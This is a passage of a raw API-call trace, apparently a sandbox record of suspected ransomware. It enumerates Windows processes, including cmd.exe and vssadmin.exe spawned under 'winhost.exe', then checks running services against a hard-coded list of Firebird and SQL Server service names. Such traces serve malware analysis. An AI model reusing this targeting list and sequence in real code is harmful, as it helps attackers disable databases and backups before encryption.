out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.821] lstrlenW (lpString="svchost.exe") returned 11 [0243.821] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.821] lstrlenW (lpString="spoolsv.exe") returned 11 [0243.821] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.821] lstrlenW (lpString="svchost.exe") returned 11 [0243.821] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.822] lstrlenW (lpString="audiodg.exe") returned 11 [0243.822] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.822] lstrlenW (lpString="svchost.exe") returned 11 [0243.822] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0243.822] lstrlenW (lpString="sihost.exe") returned 10 [0243.822] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0243.823] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0243.823] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0243.823] lstrlenW (lpString="Memory Compression") returned 18 [0243.823] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0243.823] lstrlenW (lpString="taskhostw.exe") returned 13 [0243.823] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.824] lstrlenW (lpString="explorer.exe") returned 12 [0243.824] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0243.824] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0243.824] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0243.824] lstrlenW (lpString="SearchUI.exe") returned 12 [0243.824] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0243.825] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0243.825] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0243.825] lstrlenW (lpString="winhost.exe") returned 11 [0243.825] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0243.825] lstrlenW (lpString="cmd.exe") returned 7 [0243.826] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0243.826] lstrlenW (lpString="conhost.exe") returned 11 [0243.826] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0243.826] lstrlenW (lpString="dllhost.exe") returned 11 [0243.826] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0243.826] lstrlenW (lpString="vssadmin.exe") returned 12 [0243.827] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0243.827] lstrlenW (lpString="dllhost.exe") returned 11 [0243.827] Process32NextW (in: hSnapshot=0x560, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0243.827] CloseHandle (hObject=0x560) returned 1 [0243.827] Sleep (dwMilliseconds=0x1f4) [0244.631] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb418 [0244.631] EnumServicesStatusExW (in: hSCManager=0x40eb418, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0244.631] GetLastError () returned 0xea [0244.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x56ae50 [0244.632] EnumServicesStatusExW (in: hSCManager=0x40eb418, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x56ae50, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x56ae50, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0244.632] CloseServiceHandle (hSCObject=0x40eb418) returned 1 [0244.632] lstrlenW (lpString="Appinfo") returned 7 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0244.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0244.633] lstrlenW (lpString="AppXSvc") returned 7 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0244.633] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0244.633] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0244.633] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0244.633] lstrlenW (lpString="Audiosrv") returned 8 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0244.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0244.633] lstrlenW (lpString="BFE") returned 3 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0244.633] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0244.633] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0244.633] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0244.633] lstrlenW (lpString="CDPSvc") returned 6 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0244.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0244.633] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0244.633] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0244.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0244.633] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0244.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0244.634] lstrlenW (lpString="CryptSvc") returned 8 [0244.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0244.634] lstrlenW (lpString="DcomLaunch") returned 10 [0244.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0244.634] lstrlenW (lpString="DeviceAssociationService") returned 24 [0244.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0244.634] lstrlenW (lpString="Dhcp") returned 4 [0244.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0244.634] lstrlenW (lpString="Dnscache") returned 8 [0244.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0244.634] lstrlenW (lpString="DPS") returned 3 [0244.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0244.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0244.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0244.634] lstrlenW (lpString="DusmSvc") returned 7 [0244.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0244.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0244.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0244.635] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0244.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0244.635] lstrlenW (lpString="EventLog") returned 8 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0244.635] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0244.635] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0244.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0244.635] lstrlenW (lpString="EventSystem") returned 11 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0244.635] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0244.635] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0244.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0244.635] lstrlenW (lpString="FontCache") returned 9 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0244.635] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0244.635] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0244.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0244.635] lstrlenW (lpString="gpsvc") returned 5 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0244.635] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0244.635] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0244.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0244.635] lstrlenW (lpString="iphlpsvc") returned 8 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0244.635] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0244.635] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0244.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0244.635] lstrlenW (lpString="KeyIso") returned 6 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0244.635] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0244.635] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0244.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0244.635] lstrlenW (lpString="LanmanServer") returned 12 [0244.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0244.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0244.636] lstrlenW (lpString="LanmanWorkstation") returned 17 [0244.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0244.636] lstrlenW (lpString="lfsvc") returned 5 [0244.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0244.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0244.636] lstrlenW (lpString="lmhosts") returned 7 [0244.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0244.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0244.636] lstrlenW (lpString="LSM") returned 3 [0244.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0244.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0244.636] lstrlenW (lpString="MpsSvc") returned 6 [0244.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0244.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0244.636] lstrlenW (lpString="NcbService") returned 10 [0244.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0244.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0244.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0244.636] lstrlenW (lpString="netprofm") returned 8 [0244.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0244.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0244.636] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0244.636] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0244.637] lstrlenW (lpString="NgcSvc") returned 6 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0244.637] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0244.637] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0244.637] lstrlenW (lpString="NlaSvc") returned 6 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0244.637] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0244.637] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0244.637] lstrlenW (lpString="nsi") returned 3 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0244.637] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0244.637] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0244.637] lstrlenW (lpString="PcaSvc") returned 6 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0244.637] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0244.637] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0244.637] lstrlenW (lpString="PlugPlay") returned 8 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0244.637] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0244.637] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0244.637] lstrlenW (lpString="Power") returned 5 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0244.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0244.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0244.637] lstrlenW (lpString="ProfSvc") returned 7 [0244.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0244.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0244.637] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0244.637] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0244.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0244.637] lstrlenW (lpString="RpcEptMapper") returned 12 [0244.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0244.638] lstrlenW (lpString="RpcSs") returned 5 [0244.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0244.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0244.638] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0244.638] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0244.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 